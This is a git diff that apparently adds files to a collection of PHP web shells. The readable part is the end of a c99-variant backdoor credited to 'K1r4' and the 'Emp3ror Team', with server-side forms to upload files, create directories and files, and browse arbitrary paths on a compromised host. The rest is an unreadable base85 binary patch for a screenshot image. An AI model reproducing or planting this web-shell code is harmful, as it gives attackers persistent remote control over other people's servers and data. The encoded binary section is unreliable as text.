type=submit name=submit value="Upload"><br><?php echo $wdt; ?></form></center></td> +</tr> +</table> +<br><TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 height="1" width="100%" bgColor=#000000 borderColorLight=#c0c0c0 border=1><tr><td width="50%" height="1" valign="top"><center><b>:: Make Dir ::</b><form action="<?php echo $surl; ?>"><input type=hidden name=act value="mkdir"><input type=hidden name="d" value="<?php echo $dispd; ?>"><input type="text" name="mkdir" size="50" value="<?php echo $dispd; ?>">&nbsp;<input type=submit value="Create"><br><?php echo $wdt; ?></form></center></td><td width="50%" height="1" valign="top"><center><b>:: Make File ::</b><form method="POST"><input type=hidden name=act value="mkfile"><input type=hidden name="d" value="<?php echo $dispd; ?>"><input type="text" name="mkfile" size="50" value="<?php echo $dispd; ?>"><input type=hidden name="ft" value="edit">&nbsp;<input type=submit value="Create"><br><?php echo $wdt; ?></form></center></td></tr></table> +<br><TABLE style="BORDER-COLLAPSE: collapse" cellSpacing=0 borderColorDark=#666666 cellPadding=5 height="1" width="100%" bgColor=#000000 borderColorLight=#c0c0c0 border=1><tr><td width="50%" height="1" valign="top"><center><b>:: Go Dir ::</b><form action="<?php echo $surl; ?>"><input type=hidden name=act value="ls"><input type="text" name="d" size="50" value="<?php echo $dispd; ?>">&nbsp;<input type=submit value="Go"></form></center></td><td width="50%" height="1" valign="top"><center><b>:: Go File ::</b><form action="<?php echo $surl; ?>"><input type=hidden name=act value="gofile"><input type=hidden name="d" value="<?php echo $dispd; ?>"><input type="text" name="f" size="50" value="<?php echo $dispd; ?>">&nbsp;<input type=submit value="Go"></form></center></td></tr></table> +<br><TABLE style="BORDER-COLLAPSE: collapse" height=1 cellSpacing=0 borderColorDark=#666666 cellPadding=0 width="100%" bgColor=#000000 borderColorLight=#c0c0c0 border=1><tr><td width="990" height="1" valign="top"><p align="center"><b>--[ Shell [ci] . Biz <?php echo $shver; ?> <a href="<?php echo $surl; ?>act=about"><u><b>Modded by</b></u></a> K1r4 @ gmail. com| <a href="http://emp3ror.com"><font color="#FF0000">Emp3ror Team</font></a><font color="#FF0000"></font> | Generation time: <?php echo round(getmicrotime()-starttime,4); ?> ]--</b></p></td></tr></table> +</body></html><?php chdir($lastdir); exit(); ?> \ No newline at end of file diff --git a/php/PHPshell/【c99_madnet】/c99_madnet.jpg b/php/PHPshell/【c99_madnet】/c99_madnet.jpg new file mode 100644 index 0000000000000000000000000000000000000000..d443281606dc1e7fd56e794ad7aa7d6d90d7abab GIT binary patch literal 75790 zcmeFZbyS?owlCU9Xq=GX9w0!11$Phb?h@P@cTdpZ65QP(!JXg`+@TwHcj=(7_ugmR zyVg2yulMd7@0~a97^i!Df7RDjbIzLetKXb8tDhI1*8neNB%~z(aBy${BiI-43;~D% zkdcspNH36qKp+YVGAcR_209uVI^nC=SU99a<Yc5oBqS8nOtch~3{)f}bX@NkKCrN} zvy;>E2ynCVGqJI={-YB(6ciM6G;{(C3<B0SByU*%mp{)x0ocfJzY*>c;3xs`*l-Bg zaL>H}asUAC1x(t12>c%(ICuoa7f3*46jU_W3-vDn@NftS@Q4U6ULYdE-u8vH0}!!a zyn4eTg7jMX6OhsohxKz@E;5zqk1kx5$unv;W2Y}DsCf7UghX#?XzAX)XXoJL;^yHM z`zS6UDJ3nVs-~`?sim!BVrph?VQFRU?BeR??&0Yb7!({58um3jKH*zpQgTXaT3&uZ zVNr2OX<1EeU427iQ*%pqPj6rUz~IoYsp*;7x%q`f@cPE)*7nZs-u}V)#pTuY%`Noz z-9Pk#10eiMt^c9fU-ZI;=>?C7h=2(EhhA{-?yv^|8}Y>(7Nl1q%D_*KuPIqSBjbq1 z<^JeGp<+`x!!>rAM8%_KUw?c457qvu+5bJozWhJZ?0+csKlK6w&=KHZlZSu}5CW{d znd6YvdPw(`xgbbPx0d949~tifxSPp7i#;^FBA5|6d;1LNuZ>x?zm2&psC@t6bZy$R zE|L5|%{%{y#DVpI;(wn1^orExDUc}i39%D82f|JL+h!cN!e;;qX8kijBueZV0B`tU z`3wjO)p-Ww^yfYUJ~KaYq>BTr{JX^}{U=P6o&i6Tp8-Td>u=^d_gG5&*JPgoQRb7v zM23HoFa|2+T78FZO%8qa4A|7JQ$qSX5&v6;e@)eYwu6mf_bpL>`v$$dpuB~OR)Mi8 zz0+@0I9if><7VrF4l)BVi;aaW$9J0HAK~fJB&ef*<s?i`rM+HQZJ+iL5lk!)&(}X- zTV7_EXJu(Mqx|rb;%z#@m-pMzaiuE@`?AiZ)^77o9HSL$`rMSJOM{BkWH^D*^^iRc zm7Y&U%?W52#fytXc%lnb7?(!XVqK)q0B+{_d%=TW+F)sHyX_XYkSWcdbia_Wb;&(U z<JkhCw4l!FgPyCW&LR&Ro4XAjjoE8}NEf-4|9K?_HMB=BwkX}TY{?|#lhZnW<k}Ak ztll}MTn6U@O;z!yD(TFGNC#=kcJE$ICn(qYY$TDwn<V)-LgB4fg{d6{fxjQ$(Vkqg zbcPRZaF8+&w5XRhxB9AoB3znWPUQ?>l?D$WES;;@g*{kQ19?GXrM$E&{`IUm{Ep2j z=oj2$))izd^Lh0x^$E&p2WTl^o>$u=880P7Xelli9-R#`O>nnQyUVqF*eD0wx9J4+ zJ`+0#aRX~#XUq5!<EzE+%+B}oqEXD8)Jq{e&fTlBW`ln9T0nS;t+1iv2AD38OcfW! zwr7B~nXt#E^9RB$$Bg;h)rA8UpLZ>Rz3=<)kW+8@LhTc43cimia6h>;uoxITysr=K zVP$alQwiK2#BM~m4De>*xyrW*x#8c{G$hz#2vlvErNFw?J(m0B+enX{ZM#$Z=e6h6 z_ZVGB+nrv*FIr)r^EKPK$?do9ds+0Y&6r&+PBOx?pHN4n#!`qvjR~u~Jr%xC8wH@? zc=z*ERQ01BX*B*H!D8|+NMJK@>O;SFc#7J$LCk$>Tao`_OKZrJ)VZ#TGz>^p!hLsB zUI8`faeqSa^%t$rn$05)h#O)+0KNHaETD)Z!0Z=L-<aC-x6t8AMi|(wvj6h!Ttw-? zUFynZWt!BA(sJ-1dOo7beD%7<gX7vUz2XGpbtMg2gt(iyw^gGl5-^^42O|r4OsM4Q zMQQ(E2H4|3!@{-dAZeJVnJ==@jY`L6e#^v#9{GjkZeD~o*oSeQ922q(O+q=f+oizy zy71{oJPwip;6VDxquh_1v+}G}o>P_*oD|esv+1B;4A^XcH7TTqJ^Q#zSOA7X^u88O z7tg*8^B)#-87$t@4iE|^sxOYZ;{FH@x+_p7|83bQcfjYQ9!BatUpxTsQQUR&VUK8f zfB2>FC}@}o{{<#8RipnnN3Tb|;(1ck`cS1SU+;{|5TUz#+u-EOpOHyD&M}Txc{+TE zu9|Gu-dMPnVA7&W$7;E`TU|E>_xL2@WQRd+QedU?GvH64+iqyc%j$t8nxLm!%BUp# zQDb45%F`Ex+Q>wptIEE=17{M{#$r}&>Bx^QqsmfSYo|#F+@b!$>zb#-b!Ze_>P2Gl z$9*KnBT$!?9P+PyWInHJ4TLW|S-CTNRVl00mQ9>rBl!uRaIe5|!Zgbpvp#0C6S#jT zk!?|7WyR6<x+NbXpOH%+ciRjMjFsL=(^>p7lfNO0h3laY(z!KA6LD^}Nbr2u&yulA zmKXC%3tHa2Z#@sbnnKHj@J9?Oute^1U*k^s7(N43^L)*o0gLYhKRg2lIwGC{Apdx^ z_Uavu%62S)zwA})fANLN;`TbPsM-}#n)+AF>10w%sk^Zv`}*TiZTMCeWmaf;BHIwd z??Hg0O;0Kybym((q6TC{b7}J#@TU!q{7-gnu@7sJ2+h&c*0OT*Q|}UEm?G5wN($(r zcB5(X`gVfHK5sBjI{R8<MmuE<&S@**_q;4tXa}Vts!XUV>L!K2nZ$#71~xQ&V=cAv zgfbPtNE`~d8sw=u>`uG=`XI7tV<oukbncnH8>JPdA{YeP<6d(g<GWN#yn5|6v%^$x zkFB-TUO$&#+QUl1?xaW=2Ys#l7rpnN==F8=Jbq9GTE!E)N~ij_$2<7`r2N5;Z$)|= z>C!}_H2E9yD=XBJ@$sG53d!TN!MrFm*xNSwWkcz9)34vj9lHLj3~Nt`fzA~kA!F;u zC$5YNgt6=S@t(NJ2PoCT=ha_1<b^hn(m^)v3>xQQ5uz2ML(R=geCGoKeCo`RcyR-z zR*lv<(hLgGzHV_bkH}LUBW}wiLVxtIKQWcb^?NP*Ht}Mer6MRz(?{1KLc|MJo@%L? zHla0r+CGgmv(eziq+?u@uhb^5@NAK2-Hs9l2+3w)6PAAB+4*n#ozF4!Fzf;Y!zpSz z!|yhax6nLrHn^P@ey4me8CPg?9oOkTPY!YE#DdoJ<9bp~ow&6HzKxV^#RweYcV2q5 zVg&67K1uTY1seYoN!sT%h+3;O-+xno)=~9cwn@_K@I&yAEO&c;5_fW)UH^4BX+a9X z&$uJmCQ*pT^d=rL2+=8H3T!bxZuymgg(D!c(_Y?{N~BCsrGCNmE8K#XSh}CI8KyT^ z#fP;XF+Fz`X|5}cE|(N4I`qw`7i_DztNS-kXj5$<n?kD_O)<6L@3fi>=?x?yODkCs zbG7v#)^RQ9zzsdr=g>V2PrlDNtcC}Xtj^vBX}<aAU)<#{TMEAy@UzKzWDCNA{*WsT zYDip=@;aB%%dW3fS<X-m1Skp(G?*zE@g&Lei_>nB7IgD4A@YeGW+*J#j6Y38`Q67A z`guF>y!;FY%8nW<?)@h{ItmMhpYFJO%22WH_yhU;7%c09bs2w4)<H@J{1V$up)(Tm z^fg~*#R-0sax3Du@lS6Val80EfuF#h{YP<-Mjh+Xz~-Gsoz5_Zs-60#Sy#j~e3rpZ zYm*QlqA7{mpNVJ-7P-EMm%hvfBWw2tsWj8pz1kED{hOgNL6g<2FU`wX(#d*rl`ac< zRAbN;3AX@N#WlFns4X6C%>N5yxyFKi<fkt_z`IlHAfG+e|4sy@4xx~KqR{}DEEu_; z>KzaC6p-=9h==Sbes81PF0jSdy8Oax!m~!=UOc1E<a{Tv8s^%rgTV{YX_YRbrk8f5 zP!3S!9y;FF36(oHI@dZoy}9bNrEm3zyuCPYbl0;eu6G6dc7D04Cf3>4@lBkVePfF< zJ4|yN`lgYqIPbcm-9o-@wu7}W>dF9ASHe}a(cJqnS_D{vV>jE@(|$+txLq7k=_AFC zGh0=~9QNX)W);puYs(MPa>1v|-aCT=u<uEsKgO>_^pNv(LO`?__C)xJi!SMFacH$; zvA7xKclCR`d2?)XdggdtT8eDL?h+rF=CkveYR0+lHJkLjW#^{fW^U0et@lmjZoxM` z10WsNHtAxI>h4M1A>V3wiY992xPM^&JcZXh47vXlb=drXeqNX7l1Y#Vl&rllYjcx$ z+-%sq_<Z|yKvjn*IkXLT4Wi4<(Q4CrUmlr2$%bx1$c>)E<X05L6n1&~r*K2^k62KZ z-~WVBGbx``SU5OZyxe5S8143Yu<JmCtnGY0ZS|Zv^Z{eNJOYK;mgz>m3E3zvg-b!J z))X#l;4=S-0E_!CZotvJ{`Fel_~2^kkT<2Vt}cH4Mz2F*^5@~<L)mSwJ<2{9uBLTr zHovjySDpAUKp63*G;PMLAz&Eg30xC9LUuBgFNWI|zjif*T(B7j4z8Rp0olh@S6Hsl zc^(~I*+fZLg!J>+W$4%JNH9L`?iPz^Fu5H5zM5%?P@h>(yz;LvLn{Sbnox}(zFrl| z^b#*%{i?G!2uLG%2Dq6}lmncc9K55Ef#JK?k};CV_GFUbtBRRqQb*fn=1#?BrRwBw z4whj7oXXTQKxpPoW%c$Q8OvX$;y+<qy7&k7&cE3ZYb|pynE(A0RDkIaWdD|Da)tw7 z^86|4{Oe9WniufjGQcM8|7|-=)4(zg<+>?$9P~qZmefn}3M0kHiWJ#8xeA8YForpg z;(vvdgYFsv_lhlm6~>Y3o&mLDkK;2lBFA9%S0u4H?xlDeFO+hjWc^Kr<5Rm+DtFaj zrTS!>hf&pA$m8b2{`)HyD-f9-Gc#4Pvz^wl`izs;Yl?BQS=xlWXTXHmKXM8<uq;9S z-Yj(cU_3RnI}%JUJ2dIP_Xd_<K=nTd^Jn5eeSz^%K=CtxwBi?=WhFDMI4nUC0!vT? zyo0eq%L^C7J7ie40Y3Y|E#SY~|9`fRO&!$P8+nHL$~zP}t*}<K!sGXugV0OG&G22H zKTc)g$H~n&Q+Y`xO%>EQ;|y#VwYSQ-5||gA+n6Ea&JwO|gNrn4#tf>6h%pB4s#kMZ zGP@!lZ8Q<fFEIStL?hvLxBt|NX29X<SiHhUcny*cl$!d6M^{2{{pMp6;+hK%wAwZ& zcthSobzzd=gKg|O%8>d<CmroH>7$ili4OQBG+#~LqIdrG{25S|Bqw>2V?;h^-ulSb z%L|Nnpv4QW(vKi+QWhPidZD6b#BDO5kh59Z=ehc4zpeA+Wqw42<=)^FpZG*IV(7R$ zok`{AL-=X)t&*LWJd!YEw)4#D!<QmaI5Y5&N4z$xfK|@&XAOxqoZ*cu(CK^3?d70} z#~h|J!TtVg!FFf8fxjC8q3Jv{ysp(AlN@6&nN>f@{wku#7}5b6z4XU68KR1|;p+yg zSAgFy4QwhN@g=*x7P|>({dr$ZJaczF>P)5pi=ad>V5vTU>N6mEa%->i>Lo0%_(BMJ zj3)ct!f_K8JiD!s2og^+nYJ>l?&Hh#HTpo(cb+H*;w4F@hRdvW*QT^04oy5iKgH}a zr#>|bx%2FgI;{Ln$Mlx-4vWPLC&$<FJboAgUpwpZ(+PYtMmj9+ru<Hvr_=O>)Ta~H zu5Ot9tsBj#;SpHBVww*Ac1~M+_@lq%{}B|N=F>;;k}d@J<Yru=B!6=1xW<I7O;lm4 z$w6kx9qyO#REKsco&n104;E$n2|faiwe@rBGfdbU!|XqQLC3U8`9e1hod2l)Urod4 z{~<cG=-^h6?EEy;RtMw;k#7#zPBPak{kg;$-%R>JT;)9RDcX<J>dr5_45DAh_$r_Z zAr>d{+nD6URkhF`K`G`hfaUdMRQCh?4CrQFr=R=s43Io`(J?`2wH-sC!a6xIGaC?a zzAn#tcP^1>vNpZG$6-FloGB{pnz>21ByAh(3qXupX}kZUIsSx^xd#<!lFrTNRi(wt zJ_3`V%G1iCrkJ5s9A|pg4OUEH9+K$?v9kS3pZC+Y>z(!S`*;`=)W7r{cz*5jYXbkq zCKK14=}nA`TNPdj9uczVA;ET~8`|uoqA$_2J6IyGsLDb~90TK4r<%#}x<FQiBG~7V zciY1X#KV`vy<u=$Q6mTztGWAnf471Z?w0Vv2OQ58)uykJ>m1E|K~5&D_7~=wkj#`Z zEK&^GK6ypO8KbEeQP=fDF(WG!iH3HfCfxik9KC;Bh?0L^LiL<eEAB4}+ZoK~>!4h{ zX&k2^?Ax>U73(e2tJY{=XE8-%E8v8dZGCNi{mGJla=G&TPg)Z*%#{!Fn@L$0_B3M~ z+e$-iOoN}nn2HFWvn<a;67u$mg0L;qLLr|#8u@+?(aa5Pz6X$K`2Sg&KS72{V!Sw) z+oDGQ3SarXx2J`!$9AG}kzd>w2dxWkQm^^CMdnZ!{TFq|SiLRk85jN)t?^phZrq1a zo7oCIQ*D9&)(gt^Ke;wHmqP8OYv){M>|g61uox(a&rI?nyc`^6v$JdF&z4D0jgdU_ z55H<{$GpE6MgGB1JSNQ-s|k}?Q|NE}U`j`48Sc<|hJ)T81)8lp{UGckZUqQqPPL~m zV^7zmc-f1)8`w3tf2e2QtN2<68lxSg^}}1%@>fN$)JpGGT$bZck~<Bozp;u;Pt!91 zeU!8_oV~dyj_NCuiMhKGd{j@oqRdg7Vd;Y2gUqBI%&!X@BD*>)w>89jgEC?rKG28% z&8oAmZcJ$ATpc;_aV)dC_2ZqeW2~+$`a(sXO6^Sl-dGOS0e5-FyLoob^OHbN#@Wi{ zZ*(g*A2-y+623TQg#yp2dH$w%E7-a?;i`O?jWKHJnAYv%yes$Ez^x?^`9yNKoly6< zK};~tLj@6_N80VvF;72NKOLP>)f%<_&VTkjPBV9WIOF1l=jq>=M0D!sb@TpkG1Pc| z;N1r9xqR~JTXVei*^rH59)~5&;<)3qoV%(FKbFGVo8an&hYH{PF+*lS4Z$17`S7)W z@76FB1y(+c4PDbCoPRU)ZGaqkcil^-br{}N_#SOm<GMWq`qKOo&ZX;dv-r{pK}jfY zKlcO!fmEap!h=-^|JMI<E#r@{G#<v~XVz+Ft971wHux4qxG@>QrzfxX(8JZdvHOgn z_S#c**<rU%L*=8cRt$oo2FpCgqZhtAR7E0$`;pGkHj#g0a!VZnxPz!uQY&7w_M?`< zkX9R?`DBJ;M1~6EF$HOKC$=N{*F9cM6K!G^rR?S(gU7B(Wnx7JIxyJ&t<ZUbCtb|m z&NKB^b*tE;WVuDq-&X~$JwNSG(W6;kwj@5)hniIFuaKN?VbQcYmg}Y~){cA9r^2)F z{PuciM#vRVq-o0j3)ufrgW&uLvXZOq=?4~@&2Q(Z(4yhn_*yiFgC0lKj3zsv>fp_& zxnh~sz$OEJ_tVT`P*>Ay<|H8($(1qQbG^SX=0CxR=+uhvb!Y0L!C{(fbw6BL{fvrM zsgn8E#%dPOm?lpbd-lt^W3rQjO@rF=7n!|N1oKCZynGJuTQ3*)*ru9J|4!z@woqSP zzSFR~<Afzkd>z;0%9*5^x*##ujww{^3^HEzQ4bG`feEcuSYFA#XbAcJ`4TQh;1>zP zP(|f91Dn4AlF8|F{0A1W$9?ae*%pyoXrUa<mnm^pIZVxMVqst>A<zC)=DDWo_ZeO3 zdyMP)u`Zft0HwNbGbD2DTu<?D7K`NXCA@Sm($(H$RfW#Ux{{;nV>^A4WG!<|`itls zviHe7k5Zg5W%~$Ef@+o5HMep3Z^B_gNcr77)gQ%`wZ79&oN?#8%gTxGcc=IL!gfdK z;1?2{Z{O7NcHy>?N~?ZG?n%D83C>)uQBb#p;vW5kJlIsQ-9}(blV<Y~Z_>OYvBwm# zD;gGM!w-MJ-E?Y5<`z#@pUE^qq)eyohIbC&KS7e_#^q_Rv9SU{v}eHY+<+LSL9y8` zro$On3Yh|QeqyZECor<0+}!r5zBsXf!flB5Zq{q+kAC$Rf?@U6>{Fw=GiUhUz7#f^ zSJ(D$85ZEbTmKM*{(otWV&=Q%XTV`l=N*DZ=wF<AC~s<RZVR$vAk7>{GaEmvtT^Zu z_hx`>25xk~{<TCwH8s2^`{_SJ^68CdfJ*jBxUc7lQ^)T7bdQpQd>3eu2n8oW&r_L7 znyOj-BO!zI8r;%s`Y65fbfV6^VoQT2w<<rw=a>d@OQ^zyuTZazyWO0zR8S~rsr#+t z;Cq5Ig1|0;!_p`px|Zm83n|;4VJdlJ=8k#0Vk_j6wOABxM2lhr`kBh}PQw`}*dLV} zjgK!%^nzYiDouOas3c-(X5LHwI)3m{SWdY!>7u_|s%MkWy_6nymf5;Yc`5f}j-QWX z1}w)Lz2CQ#v?BG@WY>Hno5J34jCWRIZpt6&z+r$U#qPBVYnTDuOMb0`GGTO&132r^ zXMmv>^WDQUU~rADTAO~YvH6wV)GSGqnB~P;4h0grcSdGsp@j#?g^=-Rt2041iLWSS zsi4z5NY{c-^Mz0UZZ0}tb1Hy;CH%-xX{y49xOjjxDcRATZ=AHJ&HA!8z3J1K$bhKx zv5wc_o}^-XgnZ3Z*2K>!kmF60iW&tbJmRISS17Gu-e-s|nY*}+N9dDSt;IcCp8p`* zqvSHV``!IcE2Fg{rb5S?5RNGoI*r8&@S=%^vEvTt)3Db|?we6kCaTc`n{?TTcOzUH z7hQCKZ;7bi#}zQVIDc3bOXqq-Z%nPq*dU94|B<x(hAEZGP3B=O>%RF=`Jfi+2R6hW zHBIBI>9e`{@QPM{b>O=T?L2uDOW~vMK>DOXBCE$IevxwDf_+*s%gs+)IILeCIu9Bi ze!32lxZYM-^lH3wEIH6rTDF{oK#ngc>*Ijw#INv;3@UgVJRjfNy)BKfC^9_Yd+IT9 zcC96T2ur=$Epp)AvrLfh3_T_@OZ?@VPUg3l;;Fsg8j~zgtB)0O%E0*WZiCxCThOv` z5q|8)5Dm$$6~)zB7KU|kc;&SKRc|tvlFmDiO5?`bH1o%ee6qE27Q!JaoRxrRRz`BQ zEVXb(&I@VkFuAZ;7DmFopC*a7`%24;`U~<~D>|bfCNA4F)~FagqN~I?_M#SPvW?j{ zf&?Gxl=a|3$M15qeqiijD$X?@>JIuSSL}1zgKj{~askO$G&dIsJI14*=Lyy@>sD@_ zTAl&1E}hrY4<o>ddbM^u(QYfINE_w^)ZdXf0U~dlqmd5})lV6i*?)i3Y)F7e^*Bi9 z(@9--9qW^&R;@01B&f}TAc~h&RIV(Ba+Dep6d=`R3E=_9pB#9#g;uJDLDNh}phyi$ z?{8dh^Dc#d=YJh@e;xNZVKpu5Ys_H3FS%;;pg~8bTSE}iB^U`MaN?x@gR?p|nKT~v zZ0bTlSw3~b0_t&H*u3mn-}U|s!%02yy{c`)&eNMMvCqRHMzTgmbYm<~^vqXa5Oc4N z-1mc|aBA#vsy?@u5<w4xTd@d6PMu?=%wD~#%gvE3zK5&CxV23--=!`P<xB?&sqEO4 zm%vNf3KRMw46m8EB;VtH%JKxJoq|tB`As$quMWj|qYBEc9GG4fDSSXf2p+>y5mMF? z{Ls>vVtF$;j@#E)804@d`#MyA*)4>G#G<6M<Lfg(-+%c0J-GhSg(r<JFXc-(T@L*J z?oUSN!R|Al3Rc9lhavw5lvYBrH9Sy#oK!3le<~DO#<{yRYZaVJ?jrwaAmrP*A~Y7? z*hc=zq7>RN_3Me{ZCy2mDU&9x4fY_#b)Tz_Mc~!h3Q?%?v}v?=vz^91wS|OHZn$F> zFJ{W9*KA_ZYPuj9IqKCT7FS*?l%J#6+R?*pV{Q(-SZ&%QZIUFdPw<Aq#i;K)FFdR7 z`wI_6i3F{)1z%oEla71QCEZ`tVVMDme6qF7kJtO!N#m?}?NsuU>}b>LQ(#`Y8Sn-V zpecD9dl%7X)%$bSvd2}7^x00BOT@deOwY2mX<5>NMdi$OigmR(%AidkLuJMdK@M4H z=A_0$`p22VkR9DH(Bz^!wJcR687mju^-c>j#$J-<VaZZ~#1j}Yj7F?0HILD>Ny)vf z1k{TkC`8l$yyv8*X|cfwKQGsQj?Ss0Dr;{`VcKMq;hXG-$@vT*bB=}<c^H7b$C03U zXqMDj7P_Dxy}>CDTW3Ia#wtEr=VYCZVqf?!&ywY(j|JEy)3qgnO*EyN-uZh0Py=KR z0;c@9`az>46zVvnIrTAB3WUIU!rO9u1G0%_xv$0z`}Wmn_>Y&FXImDIi~|PwBz`W( z)z{lk#`}++&w#jHHO)Lj51Ezz{u9%Qg0wXo8Z=A&LNZ%|HFWH_r};*m(v4HBeJ_P? zQ~R9RmPqSK8=GUyH=G2$T0qjlVT;Ssj^w8n|Lp6W<I2ve&MhZ5um0lVUgH|r$yh#P zQvq8Iyq5*wdd*MW<mr{K|5IRE_S1`@Cyq%EzMh7(s33REB**2xw;Pbea2|t?h)!A+ z;UyhgTsoZ=>$-3+CPF1aqEhueW=Wo`v5xU>9}vij=gPp4yZtBQe~b&0f55+6u^N_2 zcZOy3el`pB$3Ug8p8<E6*8Wg@TIjrm{kreFyk;9l`g<j&`WxXD(;#YM5!x*yZrW4w z{s?=ty&Y}AJ|kCk-k<fcr?C+pe2s%WPj@^dDmu>qgX|qF#l!iBXtqDf4m+Ls(}*pp zb?pc;)Ai|)Op4_QkoK{0q&~m5DhYbzE_rslR0q)%W=7==^A%OWW642>$+@84seY!P ze$y!ZzW<?3G)$Y7fw!<@D8Wuxa&lA=MwPezS!GB&4_kRWrO$vhz3ff>#Ks_(#hj4C zdjard-D`(wpl`MnsplBm)3~Cw`dP;}TgDZA`d{_FIQqjSp7A~jn*k`GjAwv5>3%!& z_A>zZ5LDlI4S9h5;E&Uwa;rMS!I*8=(cE%zSv#JXZRfQ~8y$F2^;j^&{J?SJJ$Nlo zwlW|~%%rl5H_wkw&oqHz<QUL<(}zKm>%U%IyCPX;d2_?7wdj=0-O#-DN!u+z79kRe zwt>#e@a_an*I&PL<kFhnruzmwx>LpIB5fA3VG6$Jhqy_`N;A%20u{X7`|Lah6x(Mx zc64p%lWh0^=FPBtoy})*3?^d21E6ysmatBSJnjLOiM{iBtBtpGHACI(ROE#|WDIXb zx`kDy>32%j2VDs6&>pWr>8A~Sa!%dR@nl}+q+0V=J-Y*Z9>6T*o1*0Q;YWWR)TiSy zyYMS0Xtxm>vB48nOBhu#Zcip7&m;jCv{?;|#q#Puj|UHzT8)<K>FG94Z!ATijygo` zvoJN={odSruR19RD?RcbEVrJwhm!9&vTNo-X%0E#78hx9;U!B@iaMj0eVQo|PUPGH zfrQ+{uBR$cH@^GqSB3^wY)cTR+tm54S-t4TrAW%Wi$#Fr1eV;TzJE2Pm%o8U`gC5n zbfHw9M7*R?Ss1HURsiNs3spYHN!@&7LuJuEo3)`u><_gMc6<%T{E_btBT)~`C$1nE z1``m=`MD{PvhGqR6SLrnCV*KX=&4yr;Ab8$_|bpOKV`e{$g^T%*q*J2-yWyLt%f(z zOfZP-+plYvY-NzH+VrRIGkt|CRekjsf}6vZj&&pt#R!OGQse6e&fYjCy{f(TDknm9 zv36z*!*t8HDOFm#9WeMcsch??t=_UwHb~wyubX~g!^|dHppP&4QJfu1MZo7gfO+A& zIX!bVe*U8V(uZr3I%{ZyW%Nw~s4)pwx;q{Ku!#1aSc&@T!YxBzcP1AvR(wEh)l%?d zL`A5<ih?*y>UTr*x&n{jLRBhlgp}dy_T{CP!WJ<rk~~{N4Nh~7sIavr#LGkZJv7xJ z%WBhUrsGrdGuwvP6i`sI6)M*Xa>*~Y)6WT~dRSrgP!7iT<BHODr!<X8lHS98@S-U9 zfjcIR=ec`FX!eKW57Fk~$89`i2P{zHUNh#C<fCCb3J4n(J(F`|cCz5Cch3s`k2#97 z<E1%Py~^RGXMp7|(s3$2u9tp>)9m0GUcJi}`bn2g%so)Sq8=&hshVd|65nU*$YT^B zYV#{Pg%3_$wMQ&^W`$L`k9Ft!*ajTEOc4G6xiYwZg_W!=M``ORU~am&SLj!la*(t7 zxmXWe>kOkw{YwV9k)KySbo}S@f#KEV9_}BfY0jx5iWnk3k(P@Pk5T|SF)}!%gba)5 zbfQ=1m!B-sC-s3*F6H{fefW58QYuUDS#youwneCDv+CO`A^MFyqe!x??<loSNJbkV z!>B=PuK)m3ldLO7^<D>d%~EKB`;A3d$85}zKhyj@{gdYjWFQez<QzRa>cgd*bRJxt zV88Q`)!d&#D2X$Jw3jsFmf$Ma`Up$hIWDgqOZdyl5Wi~8)ONL4jut4R&kbiNUTrP5 zi6RTrql916Jeg=b%z{%%4|(K8)n>BA!Yv8uAj-->?&07#={s7NY)6QOgNtU-azpAf z0CnSzly?WLOKg+U5F1Y~<H6WTCulCDgoNZ#Y;zmC1T|D|Y74&r(+9#YXs!IDy3iH| z4*jmtB$Wa<uVgzi+Ij}#u39C5?GiT@b#}lQOm{qQWOWG(JZI71l2^)pW{?Cpe(^24 zYM76Ike~I*RM>zhd<`CbNV;hIq^x<;z>)xoycWE2!wgNG)ajs{Gc=e#sRs^flVg`Y z;gHZhbm|<pdD9f`E>XLI*Xu5fM@k)5P5Y6Y(qRdY7}tjqox&YH8<SDGYJ<6sSs274 zwLVtEI90d64R+($c;b$&eusg_YO9cYyEA=-b@o{Wk^M3KIJ>p+%O`KUi-+pgjK@{G zZ`Fm*fXbtPU@4QsmBxJVaeexzp3YwUFh=iC{dQEtQ4B@AZV3ry#?5K?$+q#zyLN2d zC8lD$=n1giI7+l^={KXnoXDhpVF8DC?T9h&^V+pc?&Z1s2ZtZOc)_~9JRj&xtv&A( zM6asFiI;dgmmnf!87T-!N+tpE$I+}nX>o)OVaJ3NPo2z{{AuBbK0f-@bpziLQx?Q` z#F^Q02c&hO>8l8P^u<5wY8pGH%vgp5=5LVG=4dlhBbS4`Zvl=OfDgPIF+zvczk%1k z{ZqGHG)uL$If~kD$t~MjIuj&31&7@oTP|p+PN+8D{7ATU;@M2gK-TS@n_d>*Il$h_ zJw7h@bQAZ11Za%8&k~Pf2*twjH_ZMGKYw@i3}727sY>qGFrT~Vmu5OOZ_1iAO(NcJ zTdW*<LbAou+k|f}1JLD#|Cc=PhM%hZ@79^00%pKY&w%pmrzY4vfgBEidEdY2vgyCr zb2X=K?Xi^)_LcbNze)vQn<Q9{==AIH)nRhno794($(ID5w9aFF1?cl9_}`gPXOU(W zq)7X}{UuZNqoq2Dm_SpM&mESS*D1SQEj>Gf;$Kg!l~l`~Wkr}3+O%Lm2zOdLZIVQ* z%1LC(Bv6mv#ux-U?&}qXq?<Y0nx;X#lWiMsM(aEMPk58a=W5x1j8E!!goCYx!P2!K z^p_108``|3m?t$+QSG@ghKAmAkLv%JR#m7)pL64Ctg*=(+m34CMI`SolXyvz72x-6 zs`DB~%bq%gF8EKvuP}(^r>6T>D5ry?>dr(kdPFb2><F|0SRMPl;<9+>#1l9|dxj5N zO&YvgXX_FNlwZn2M2=7n55v><{i&aBKS6X!>T&lRpzz%{ztGZU)3dLJJxuF0&4!$$ z6BUQY0Gl{TS!fgXD?3tlryAg2zmHF}3q*as7o%e?IW6GIYcHhlJC9pd-9Nq5h4X%l zp4RubNe4Cqc#l|-D3~~RW7+1)Jwm(Z1j(igW{#OoQqsdVYy4RxDPC=@S$ru#Hz84J zfz=A>EV#`L;EKDfaKP&>b3T4!?7PXv?S&GIgi<sJoMBkSAY0KBLt0nbr}lPLE|b)- zla6xT5~4Fs^7AjA0fA2<t+JihcNrYIM2QPi(WyJnfZSAAnLM-QJ+$9B^6EH4(~2wD z*1WN<IZN9o#YM!I+Mz(XE$VSX)PHk?;C{yM?U%Wedtos&0?a6EHSfI~3e!zi-ecM` z!lJ9`yTd2pR#@mMG_u)W=*FI3<k`7rZZ9+p7JOpK*c9Niz-3CWG}vb#8iC}O+iR1} zy(3kuWsMg?&~0$A^3td^b7e}I#~aiy3bsE!ZKP9uKt=)_CJf-#e=5+i<~<4ZeAkez 